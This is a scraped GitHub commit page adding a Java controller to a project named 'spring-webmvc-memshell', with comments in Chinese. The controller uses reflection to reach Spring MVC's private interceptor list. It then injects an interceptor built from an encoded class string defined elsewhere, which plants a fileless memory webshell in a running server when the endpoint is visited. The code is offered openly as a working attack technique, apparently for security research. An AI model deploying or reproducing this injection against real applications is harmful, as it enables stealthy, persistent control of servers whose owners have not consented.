-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
d814945
commit 709fa0d
Showing
3 changed files
with
51 additions
and
3 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
45 changes: 45 additions & 0 deletions
45
...ingMVC/spring-webmvc-memshell/src/main/java/com/summery233/controller/AddInterceptor.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,45 @@ | ||
package com.summery233.controller; | ||
|
||
import org.springframework.stereotype.Controller; | ||
import org.springframework.web.bind.annotation.GetMapping; | ||
import org.springframework.web.bind.annotation.RequestMapping; | ||
import org.springframework.web.context.WebApplicationContext; | ||
import org.springframework.web.context.request.RequestContextHolder; | ||
import org.springframework.web.context.request.ServletRequestAttributes; | ||
import org.springframework.web.servlet.HandlerInterceptor; | ||
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; | ||
import org.springframework.web.servlet.support.RequestContextUtils; | ||
|
||
import javax.servlet.http.HttpServletRequest; | ||
import javax.servlet.http.HttpServletResponse; | ||
import java.lang.reflect.Field; | ||
import java.util.List; | ||
|
||
import static com.summery233.controller.DynamicUtils.INTERCEPTOR_CLASS_STRING; | ||
|
||
/** | ||
* 访问此接口动态添加 Interceptor | ||
* | ||
* @author su18,233 | ||
*/ | ||
@Controller | ||
@RequestMapping(value = "/addInterceptor") | ||
public class AddInterceptor { | ||
|
||
@GetMapping() | ||
public void index(HttpServletRequest request, HttpServletResponse response) throws Exception { | ||
|
||
// 获取当前应用上下文 | ||
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()); | ||
|
||
// 通过 context 获取 RequestMappingHandlerMapping 对象 | ||
RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class); | ||
|
||
// 为什么写三个 getSuperclass ?就是玩~ | ||
Field f = mapping.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredField("adaptedInterceptors"); | ||
f.setAccessible(true); | ||
List<HandlerInterceptor> list = (List<HandlerInterceptor>) f.get(mapping); | ||
list.add((HandlerInterceptor) DynamicUtils.getClass(INTERCEPTOR_CLASS_STRING).newInstance()); | ||
response.getWriter().println("interceptor added"); | ||
} | ||
} |